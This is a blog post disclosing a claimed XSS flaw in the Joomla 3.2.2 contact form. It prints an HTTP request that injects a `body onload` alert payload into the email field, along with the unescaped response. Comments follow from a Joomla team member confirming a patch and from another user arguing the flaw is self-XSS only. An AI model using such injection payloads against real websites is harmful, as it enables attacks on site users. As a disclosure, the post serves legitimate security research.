# ==============================================================
# Title ...| Persistent pre-auth XSS in Joomla
# Version .| Joomla 3.2.2
# Date ....| 3.03.2014
# Found ...| HauntIT Blog
# Home ....| http://www.joomla.org
# ==============================================================
# ==============================================================
# XSS
---<request>---
POST /k/cms/joomla/index.php/single-contact HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 288
jform%5Bcontact_name%5D=aaaaaa&jform%5Bcontact_email%5D=a"><body%20onload=alert(123)>@b.com&jform%5Bcontact_subject%5D=asdas&jform%5Bcontact_message%5D=dasdasdasd&jform%5Bcontact_email_copy%5D=1&option=com_contact&task=contact.submit&return=&id=1%3Aname&e328236e3b63be0be16a0d0d841f63f9=1
---<request>---
 |
| Joomla XSS - request |
And:
---<response>---
(...)
title="<strong>Email</strong><br />Email for contact">Email<span class="star"> *</span></label></div>
<div class="controls"><input type="email" name="jform[contact_email]" class="validate-email" id="jform_contact_email" value="a"><body onload=alert(123)>@b.com" size="30" required aria-required="true" /></div>
</div>
(...)
---<response>---
From Burp it looks like this:
 |
| XSS - view from Burp |
Response at the page:
# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/
Hi there!
ReplyDeleteI'm Roberto Segura member of the Joomla! Production Leadership Team.
We encourage people to contact us privately through security@joomla.org to report any security issue found on Joomla! That way we are able to release a fix before it's made public. I think that's a good and common practice in security auditions.
About the issue I can confirm it exists since we changed our email validation to support the new TLDs. It doesn't compromise website's security but not escaping the output caused that low-level XSS issue.
We are going to include the patch for this issue in tomorrow's release (v3.2.3).
Thanks for the info!
Good Roberto, we'll be in touch ;)
ReplyDeleteThanks for the comment.
Maybe you want to verify... that if you try to access the same page with another browser, or after cleaning your browser data, the script will not be executed anymore. That's because this "XSS" is not really persistent: the payload it's just stored inside a session variable, not in the Joomla back-end, meaning that you can only attack yourself, and not other users! In other words, this isn't a vulnerability... ;)
ReplyDeleteCool. Maybe that's why Roberto said about the patch ;)
ReplyDeleteMaybe Roberto, like me in the beginning, has been tricked into believing this is a real security issue because if you follow the same steps described in this blog post you can actually "see" the persistent XSS. However, if you try the further steps that I described in the previous comment, you'll see the injected script no more executed, simply because it's being stored only into the attacker's session! Maybe you want to verify this... ;)
ReplyDeleteMan ;] I already said that it's true. What do you want more? :D
ReplyDeleteTake a beer, and relax. ;)